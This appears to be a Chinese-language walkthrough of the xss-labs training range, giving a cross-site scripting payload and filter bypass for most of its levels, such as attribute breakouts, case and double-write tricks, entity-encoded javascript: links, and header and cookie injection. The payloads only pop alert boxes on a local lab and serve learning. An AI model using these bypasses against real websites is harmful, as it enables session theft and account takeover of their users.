Bootstrap

XSS靶场通关详解

前言

这里作者采用phpstudy部署的xss-lab靶场,配置如下:

第一关

进入靶场后寻找页面的传参处,发现url中的name参数传了test给页面,可以在此处进行尝试xss

成功弹窗!

payload:

<script>alert(1)</script>

第二关

可以发现第二关是表单的传参点

尝试失败,意识到第二关开启了拦截

查看网站源码发现被转义

查看源代码发现输出的str被编码了,但是input标签中的str没有被编码,因此我们最终需要把input标签进行闭合

此时我们可以构造payload闭合input标签

payload:

"><script>alert(1)</script>

第三关

使用第二关的payload发现全部被转义

补充一下htmlspecialchars函数的用法,这个函数可以将输入的特殊字符进行html实体编码

查看第三关源码发现这个函数没有加参数,所以只是对双引号和特殊字符进行编码,没有对单引号进行编码

所以可以尝试使用单引号进行闭合,后面的也不能出现标签了(因为标签的<>会被编码)单引号闭合属性之后可以对input标签单独写一个属性进行弹窗。

payload:

' onclick='alert(1)'

第四关

将第三关的payload打上去,查看源码发现前面多了一个双引号

尝试使用”进行闭合,直接弹窗

payload:

"' onclick='alert(1)'

第五关

使用第四关的payload进行尝试,发现事件被加_,此时给input标签增加属性这条路走不通了,可以尝试使用a标签

使用a标签之前需要将input标签进行闭合,可以使用"'>进行闭合,然后增加a标签

点击此处即可弹窗

payload:

"'> <a href='javascript:alert(1)'>

第六关

将第五关的payload输入发现href增加了_

可以尝试进行大写绕过过滤

payload:

"'> <a HREF='javascript:alert(1)'>

第七关

输入第六关的payload,发现其中的href和script都被替换了,可以尝试进行双写进行绕过

payload:

"'> <a hrehreff='javascscriptript:alert(1)'>

第八关

输入第七关的payload,发现将我们输入的内容作为了a标签的href值

尝试javascript:alert(1),发现被编码了,尝试使用

编码后成功弹窗

payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

第九关

使用以上payload发现不能用,提示不是合法链接,输入http://baidu.com即可,说明此输入框中要输入http的合法链接

此时可以使用js中的注释符,将合法链接添加在注释中从而造成弹窗

payload:

javascript:alert(1)//http://www.baidu.com

将注释符前面的部分进行编码,否则还是不合法的链接,一下为编码后的payload:
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://www.baidu.com

第十关

尝试刚刚的payload发现不起作用,查看源码发现有三个隐藏的input框

尝试将值传给这三个隐藏的标签,执行以下url

http://127.0.0.1/xss/level10.php?keyword=1&t_link=2&t_history=3&t_sort=4

发现第三个标签的值被修改了

此时可以先将value值进行闭合然后添加onclick进行弹窗,由于后面将它隐藏了,可以在前面进行显示出来

payload:

http://127.0.0.1/xss/level10.php?keyword=1&t_sort='" type='text' onclick='alert(1)'

第十一关

尝试payload发现不行,隐藏标签也不行,但是有一个t_ref标签(联想到了referer)是存放着上一关的payload,可能存在xss

返回上一关进行抓包,在referer中插入payload进行xss或者使用hackbar修改referer

payload:

'" type='text' onclick='alert(1)'

第十二关

跟11关类似,这里的referer改为了user-agent,所以在ua尝试进行xss

payload:

'" type='text' onclick='alert(1)'

第十三关

跟11和12关类似,这里换成了cookie

payload:

user='" type='text' onclick='alert(1)'

第十四关

本关出错了,直接打15关即可

第十五关

本关需要用到一个新的属性

AngularJS ng-include 指令详解-CSDN博客

可以尝试让其包含第一关,这样第一关的xss可以直接用在这里

onmouseover事件是鼠标移动到元素上会触发弹窗

payload:

http://127.0.0.1/xss/level15.php?src='http://127.0.0.1/xss/level1.php?name=<img src=1 onmouseover=alert()>'

第十六关

发现本关将空格进行了编码

尝试使用回车符替换空格进行绕过,回车的url编码是%0a,使用%0a替换%20即可

payload:

<img%0asrc=1%0aonerror=alert(1)>

第十七关

embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容(现在不太常用此标签了)

思路:闭合前面的src标签然后添加事件属性

payload:

' onmouseover=alert(1)

第十八关

跟上一关一样

第十九关

这两关涉及flash触发的xss漏洞,现在 flash 技术全面停止使用了,所以就不做了

第二十关

这两关涉及flash触发的xss漏洞,现在 flash 技术全面停止使用了,所以就不做了

;